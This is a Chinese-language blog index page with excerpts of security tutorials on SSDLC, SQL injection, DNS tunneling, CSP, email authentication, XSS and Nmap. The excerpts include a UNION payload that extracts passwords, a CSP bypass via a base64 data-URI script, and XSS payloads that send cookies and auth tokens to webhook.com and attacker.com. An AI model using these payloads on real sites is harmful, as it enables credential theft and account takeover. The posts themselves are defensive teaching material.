安全軟體開發生命週期 (SSDLC) 介紹與分析

SSDLC 的概念與重要性 安全軟體開發生命週期 (Secure Software Development Life Cycle, SSDLC) 代表了現代軟體工程領域中一個重要的典範轉移。這種方法論將資訊安全的考量深度整合至軟體開發的每個階段,從根本上改變了傳統軟體開發生命週期 (SDLC) 中將安全視為附加功能的觀念。SSDLC 的核心理念在於將安全性提升為軟體系統的基礎需求,而非後續的修補措施。 當前的網路威脅環境呈現出高度複雜化和持續演進的特徵,從分散式阻斷服務攻擊到進階持續威脅 (APT),攻擊者的技術能力和攻擊向量不斷擴展。傳統的「先建構,後加固」開發模式在面對這些威脅時顯得力不從心,往往導致高昂的修補成本和潛在的系統漏洞。Ponemon Institute 的研究顯示,在設計階段修復安全缺陷的成本比在生產環境中修復低約 100 倍,這一數據充分說明了 SSDLC 方法論的經濟價值。 SSDLC 的理論基礎與核心原則 SSDLC 建立在四個基本原則之上,這些原則共同構成了安全軟體開發的理論框架。首先是安全左移 (Security Shift-Left) 的概念,這個原則強調將安全活動盡可能提前到開發生命週期的早期階段。通過在需求分析和系統設計階段就考慮安全需求,開發團隊能夠建立更加穩固的安全基礎,避免在後期階段進行代價高昂的架構性修改。 持續安全評估原則則體現了現代軟體開發中的漸進式改進思維。與傳統的階段性安全檢查不同,這種方法要求在整個開發過程中維持連續的安全監控和評估活動。這種持續性不僅提高了安全問題的發現效率,也使得安全團隊能夠更好地適應快速變化的威脅環境。 風險導向的方法論為 SSDLC 提供了科學的決策基礎。通過系統性的風險評估,組織能夠識別最關鍵的威脅向量,並相應地分配安全資源。這種方法避免了「一刀切」的安全策略,使得安全投資能夠產生最大的防護效益。 最後,安全文化的建立是 SSDLC 成功實施的關鍵因素。這不僅涉及技術層面的培訓,更重要的是在組織中建立共同的安全責任意識,使每個參與軟體開發的成員都能理解並實踐安全最佳實務。 SSDLC 實施階段的技術架構 SSDLC 的實際執行可以分為四個主要階段,每個階段都有其特定的安全目標和技術要求。在需求分析與設計階段,安全工程師需要與系統架構師密切合作,進行全面的威脅建模 (Threat Modeling) 活動。這個過程通常採用 STRIDE 或 PASTA 等標準化方法論,系統性地識別潛在的攻擊向量和威脅場景。同時,安全需求的明確定義成為後續開發工作的基礎,這些需求不僅包括功能性安全控制,也涵蓋非功能性需求如效能、可用性和合規性要求。 開發階段的安全實踐主要圍繞安全編碼標準的建立和執行。現代的安全編碼標準如 OWASP Secure Coding Practices 提供了語言特定的指導原則,幫助開發者避免常見的安全漏洞如注入攻擊、跨站腳本攻擊等。靜態程式碼分析 (SAST) 工具的整合使得安全檢查能夠自動化執行,這些工具能夠在編碼過程中即時識別潛在的安全問題,大幅提升了開發效率。此外,同儕程式碼審查機制的建立不僅提高了程式碼品質,也促進了安全知識在團隊中的傳播。 測試階段引入了多層次的安全驗證方法。動態應用程式安全測試 (DAST) 通過模擬真實的攻擊場景來驗證應用程式的運行時安全性,而互動式應用程式安全測試 (IAST) 則結合了靜態和動態分析的優勢,提供更準確的漏洞檢測能力。滲透測試作為最接近真實攻擊的驗證方法,由專業的安全測試人員執行,能夠發現自動化工具難以識別的複雜安全問題。 部署與維護階段的重點在於確保安全配置的正確性和持續的安全監控。配置管理包括伺服器安全設定、網路安全策略、以及應用程式層級的安全參數。持續監控系統通過即時的日誌分析和異常檢測來識別潛在的安全威脅,而漏洞管理流程則確保新發現的安全問題能夠及時得到修補。 主要 SSDLC 框架的技術比較與分析 當前市場上存在多種成熟的 SSDLC 框架,每種框架都有其獨特的技術特點和適用場景。Microsoft 的安全開發生命週期 (SDL) 是業界最早且最成熟的 SSDLC 實施框架之一。SDL 的優勢在於其完整的工具鏈整合和詳細的實施指導,特別是在 Visual Studio 開發環境中提供了深度的安全開發支援。然而,SDL 的設計主要針對 Microsoft 技術生態系統,在跨平台應用方面存在一定的局限性,且其實施複雜度對中小型組織而言可能過於繁重。 ...

July 24, 2025 · 2 min · 230 words · kangjwme

SQL Injection 攻擊及防制

SQL Injection 是一種安全漏洞,當應用程式未對使用者輸入進行適當的驗證或清理時,攻擊者可以利用該漏洞,將惡意的 SQL 代碼注入至該應用程式,從而操作或存取資料庫。攻擊者通常會在輸入欄位(例如:登入表單)中輸入特殊的 SQL 語句,企圖改變原始 SQL 語句的結構和意義,從而達到不法目的 介紹 SQL 先參考一下上圖,了解一下 SQL 的架構,由大範圍到小範圍分別是 Database ➜ Table ➜ Column ➜ Data 每個 Database 中會有一個或多個 Table,上圖就有 Production.Bread、Production.Category、Sales.Customer 等等。 Table 中又會有一個或多個 Column,像是 Sales.Customer 這個 Table 中有 firstname、lastname 以及 email。 漏洞實現 SQL Injection 可以根據攻擊目的和手法分為多種類型,以下將詳細介紹不同的攻擊方式: Union-based SQL Injection (聯合查詢注入) 這是最常見的 SQL Injection 類型,攻擊者使用 UNION 關鍵字來合併多個查詢結果。 假設您有一個商品搜尋頁面: $product_id = $_GET['id']; $sql = "SELECT name, price FROM products WHERE id = '$product_id'"; $result = mysqli_query($conn, $sql); 攻擊者可以輸入:1' UNION SELECT username, password FROM users -- 查詢就會變成: ...

July 23, 2025 · 5 min · 1009 words · kangjwme

DNS Tunneling 攻擊是什麼?如何防制?

DNS Tunneling 是一種利用 DNS 協定的漏洞來進行資料傳輸的攻擊手法。攻擊者可以透過偽造 DNS 查詢來將資料封裝在 DNS 訊息中,並透過 DNS 伺服器進行傳輸。 為什麼 DNS Tunneling 如此危險? DNS 協定在網路架構中扮演著關鍵角色,幾乎所有的網路通訊都需要 DNS 解析。這使得 DNS 流量通常被視為「合法」流量,很少受到嚴格的監控和過濾。攻擊者正是利用這一點,將惡意資料隱藏在看似正常的 DNS 查詢中。 主要危險性包括: 繞過防火牆: 大多數防火牆允許 DNS 流量通過,攻擊者可以輕易繞過網路安全防護 難以偵測: DNS 查詢本身就很頻繁,惡意查詢很容易混淆在正常流量中 資料竊取: 可以用來偷取敏感資料,如密碼、檔案或內部網路資訊 建立持久連線: 攻擊者可以建立持續的通訊管道,進行長期滲透 攻擊手法詳解 基本原理示例 舉個例子: 攻擊者想要將「This is normal message」傳輸到遠端主機,可以將資料封裝在以下 TXT 記錄中: example.com. 3600 IN TXT "This is normal message" 之後攻擊者利用受害者電腦發送 DNS 查詢請求(瀏覽網頁時同樣會對網站的網域 DNS 發送查詢請求)給 example.com 時,會收到: ; Response to the TXT query for example.com example.com. 3600 IN TXT "This is normal message" 受害者的電腦向 example.com 發送 DNS 查詢,獲取上述 TXT 記錄,攻擊者即可從中提取資料。由於 DNS 查詢頻繁且多樣,防火牆通常不會深入檢查每個 DNS 請求和回應,這使得 DNS 隧道攻擊可能成功。 ...

July 23, 2025 · 3 min · 488 words · kangjwme

Content-Security-Policy (CSP) 有什麼用?

Content Security Policy (CSP) 是一種電腦安全標準,旨在防禦跨站指令碼 (XSS)、資源數據盜取 (XSD) 和網頁樣式置換等代碼注入攻擊,阻止惡意內容在受到信任的網頁環境中執行。CSP 透過在 HTTP 標頭中添加指令,限制瀏覽器載入和執行特定來源的資源,這些資源可能是 JavaScript、CSS、字體、圖像、影片或任何嵌入的內容。 常見用途 請參考簡單聊聊 XSS 攻擊及防制這篇所給出的具體案例,但假如今天我有設定以下 CSP: Content-Security-Policy: default-src 'self'; 那就代表著我只允許我本身網站的 JS 進行載入,就可以抵禦 XSS 攻擊。 但注意一點,如果 CSP 過度嚴格,可能會導致網站功能受到限制,甚至無法正常運作。例如,如果 CSP 禁止載入任何外部資源,那麼網站就無法使用第三方 JavaScript 或 CSS 庫。 繞過手法及防制手段 如果 CSP 那麼強大到可以抵禦外部 JS 載入,那今天我們只要換個想法讓我們進行攻擊的腳本偽造成內部載入不就好了嗎OwO 所以今天假設我們今天注入了一個 JS 片段如下: <script src="data:text/javascript;base64,YWxlcnQoIlJpY2tSb2xsIFlFRUVFRUUiKTs="></script> 他其實就是把 alert("RickRoll YEEEEEE"); 轉成 Base64 後,可以偽造成伺服器本身發出的 JS,但我們也可以利用 Content-Security-Policy: default-src 'self'; script-src 'self' 來去禁止使用 inline scripts 和 eval()。這樣,像例子中的 Base64 編碼腳本將會被阻止執行,但如果你今天網頁中同樣有使用到 <script> 嵌入的話怎麼辦? 所以我們也可以考慮使用 nonce(number used once)或 hash 來允許特定的腳本。例如今天你必須內嵌一個腳本,可以幫他加個 nonce 属性,然後再 CSP 規則中加上這個 nonce: ...

July 23, 2025 · 1 min · 128 words · kangjwme

SPF、DKIM 以及 DMARC 是什麼?

電子郵件是現代社會中不可或缺的溝通工具,但也容易遭到駭客攻擊,造成垃圾郵件、釣魚郵件等問題。為了防止電子郵件被冒用,SPF、DKIM 以及 DMARC 這三種電子郵件認證技術應運而生。 SPF Sender Policy Framework SPF 是一種電子郵件認證技術,用來驗證電子郵件發件人是否合法。SPF 工作原理是,在 DNS 設定 SPF 記錄,列出允許發送電子郵件到該域名的 IP 位址或伺服器名稱。當接收方伺服器收到電子郵件時,會根據 SPF 記錄來驗證發件人是否合法。 注意的是,每個網域只能有一個 SPF 紀錄 DKIM DomainKeys Identified Mail DKIM 是一種電子郵件認證技術,用來驗證電子郵件內容是否未被竄改。DKIM 工作原理是,在發件人伺服器上設定 DKIM 金鑰,並將金鑰用於加密電子郵件內容。當接收方伺服器收到電子郵件時,會根據 DKIM 金鑰來驗證電子郵件內容是否未被竄改。 DMARC Domain-based Message Authentication Reporting and Conformance DMARC 是一種電子郵件認證技術,用來整合 SPF 和 DKIM 的功能,並提供更強大的防護。DMARC 工作原理是,在 DNS 上設定 DMARC 記錄,指定如何處理未通過 SPF 或 DKIM 驗證的電子郵件。 實際範例 以 kangjw.me 為例,以下是 SPF、DKIM 以及 DMARC 的設定範例: SPF 記錄 v=spf1 mx a ip4:192.168.0.1 include:examplesender.net -all mx a:同意 kangjw.me 的 MX 和 A 記錄對應的 IP 發信 ip4:192.168.0.1:同意 192.168.0.1 這個 IPv4 發信 include:examplesender.net:如果是 examplesender.net 這個網域,也可以用我的 domain 發信 all 的補充說明 -all:SPF 記錄中未列出的位址沒有被授權發送電子郵件應該拒絕傳送 ~all:就算沒在 SPF 許可範圍內,依舊可以傳送,但會被丟到垃圾郵件 +all:管你怎樣,都可以用我的 domain 去發信 DKIM 紀錄 v=DKIM1; k=rsa; p=[DKIM 公鑰]; 通常 DKIM 不會使用 @ 作為名稱,而是 [selector]._domainkey.[domain],selector 依照不同電子郵件業者而會有所改變,假設今天我用的是 KJW Mail 來發信,那我的名稱可能就會是 kjwmail._domainkey.kangjw.me ...

July 23, 2025 · 1 min · 199 words · kangjwme

使用 Flask 和 Python 自動化 Word 分割工具

在這篇文章中將介紹如何利用 Python 和 Flask 開發一個簡單的工具,來實現將 Microsoft Word 文件按照節(Section)分割為多個文件的功能。同時我們會使用 Bootstrap 來提升前端頁面的可讀性和操作便利性。 專案功能簡介 本專案的目標是提供一個 Web 介面,讓用戶可以: 上傳一個包含多個 Sections 的 Word 文件。 上傳一個對應的文件名稱清單。 根據名稱清單分割原始文件並生成多個 Word 文件。 自動刪除頁腳並套用新頁腳內容(若需要)。 這個工具對需要批量處理 Word 文件的人來說是非常實用的,比如需要將長文檔分解為不同部門的文件時。 技術架構與工具 後端框架:Flask 文檔操作:pywin32(使用 Windows COM 操作 Word) 前端框架:Bootstrap 5 文件上傳與處理:Flask 的 request.files 目錄管理:os 模組 核心程式碼解析 文件分割功能 以下是實現文件分割功能的核心程式碼片段: def split_by_section_with_names(input_doc_path, output_dir, filenames): pythoncom.CoInitialize() # 明確初始化 COM try: word_app = win32.Dispatch("Word.Application") word_app.Visible = False doc = word_app.Documents.Open(input_doc_path) total_sections = doc.Sections.Count if len(filenames) + 1 < total_sections: doc.Close(False) word_app.Quit() return f"Error: Insufficient filenames provided. Expected at least {total_sections - 1}, got {len(filenames)}." for i in range(1, total_sections): section_range = doc.Sections(i).Range new_doc = word_app.Documents.Add() section_range.Copy() new_doc.Range().Paste() for sec_idx in range(1, new_doc.Sections.Count + 1): sec = new_doc.Sections(sec_idx) remove_and_set_footer(sec) output_path = os.path.join(output_dir, f"{filenames[i - 1]}.docx") new_doc.SaveAs2(output_path, FileFormat=WD_FORMAT_XML_DOCUMENT) new_doc.Close(False) doc.Close(False) word_app.Quit() return "Split completed successfully. Files saved to output directory." finally: pythoncom.CoUninitialize() # 確保釋放 COM 關鍵功能解析 初始化與操作 Word 文件: ...

July 23, 2025 · 2 min · 316 words · kangjwme

Cross Site Scripting (XSS) 攻擊及防制

XSS (Cross-Site Scripting) 是一種網頁安全漏洞,允許攻擊者注入惡意腳本到網頁中,進而在其他使用者的瀏覽器上執行。 漏洞實現 Stored 儲存型 XSS 這邊舉個簡單的留言板當作舉例,通常都有網購看評價的經驗吧\owo/ <form action="/submit" method="post"> <input type="text" name="review" placeholder="幫商品留下評價吧!"> <input type="submit" value="送出"> </form> @app.route('/submit', methods=['POST']) def submit_message(): review = request.form['review'] # 儲存 review 到資料庫中,這邊 code 我就亂打,看得懂概念就行 review_db.append(review) return redirect('/') <!-- 顯示所有留言 --> {% for rev in review %} <p>{{ rev }}</p> {% endfor %} 所以我今天如果滿肚子壞水的在評論區輸入下方程式碼的話,每個只要載入我留言的人就會被 Rickroll XD (location.href 代表者將網址重定位,JS 語法) <script>location.href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"</script> 當然這樣看起來還好,但如果今天我帶入的內容是像下面這串,我就可以把你的 cookie 透過 webhook 等方式傳來給我,我就可以來做壞壞的事情(登入、分析日常習慣等) location.href="https://webhook.com?cookie="+document.cookie; 可以在 Cookie 中加上 HttpOnly 來去禁止非伺服器之外其他來源取用 Cookie,有興趣可以參考這裡 Reflected 反射型 XSS 你可以直接點點看這個網站,反射型 XSS 通常會直接將參數藏在網址參數中,再透過各種方式讓被害人無意間點進去。 假設我們有一個搜尋頁面: // 易受攻擊的搜尋頁面 <?php $search_term = $_GET['q']; echo "<h2>搜尋結果:" . $search_term . "</h2>"; ?> 攻擊者可以製造惡意連結: https://example.com/search.php?q=<script>alert('XSS攻擊成功!')</script> 當使用者點擊這個連結時,腳本會立即執行。更危險的例子: https://example.com/search.php?q=<script> // 竊取使用者 token 並發送到攻擊者的伺服器 fetch('https://attacker.com/steal.php?token=' + localStorage.getItem('authToken')); </script> DOM-based XSS DOM-based XSS 是透過修改頁面的 DOM 環境來執行攻擊,常見於前端 JavaScript 處理用戶輸入時: ...

July 23, 2025 · 4 min · 739 words · kangjwme

從零開始的 Nmap 生活

Nmap 是個強大又靈活的網路掃描工具,無論是系統管理員、滲透測試人員,還是對網路安全有興趣的朋友,Nmap 都是一把非常好用的瑞士刀。 這篇文章會簡單介紹 Nmap 的安裝方式、常用指令、幾種掃描模式的差異,以及幾個實際應用的例子。如果你是剛接觸 Nmap 的新手,希望這份懶人包能幫助你快速上手! 🔧 安裝方式 最簡單的方式是直接到官網下載:https://nmap.org/download 如果你使用的是 Linux 或 macOS,也可以透過套件管理工具安裝,例如: Ubuntu / Debian: sudo apt install nmap CentOS / Fedora: sudo yum install nmap macOS (使用 Homebrew): brew install nmap 🚀 Nmap 指令懶人包 這邊整理了一些常見又實用的 Nmap 指令,適合平常快速查 IP、掃端口、看主機系統等。 指令 說明 nmap {ip} 掃描單一 IP nmap {ip1} {ip2} 同時掃描多個 IP nmap {ip_range} 掃描整個 IP 範圍(CIDR) nmap -p {port} {ip} 掃描指定的端口 nmap -sS TCP SYN 掃描(快速) nmap -sT TCP connect 掃描(完整連線) nmap -sU UDP 掃描 nmap -O 作業系統偵測 nmap -sO IP 協議掃描 nmap -PS 使用 SYN Ping 掃描 nmap -sL 列出目標列表,不進行掃描 nmap -vv 顯示更詳細的輸出 ⚔️ 掃描模式比較:sS、sT、sU、sO、PS 有什麼不同? 在用 Nmap 掃描的時候,可能會看到像 -sS、-sT 這些參數。這些是不同的掃描技術,根據你的需求與環境,可以選擇適合的方式。 ...

July 23, 2025 · 2 min · 364 words · kangjwme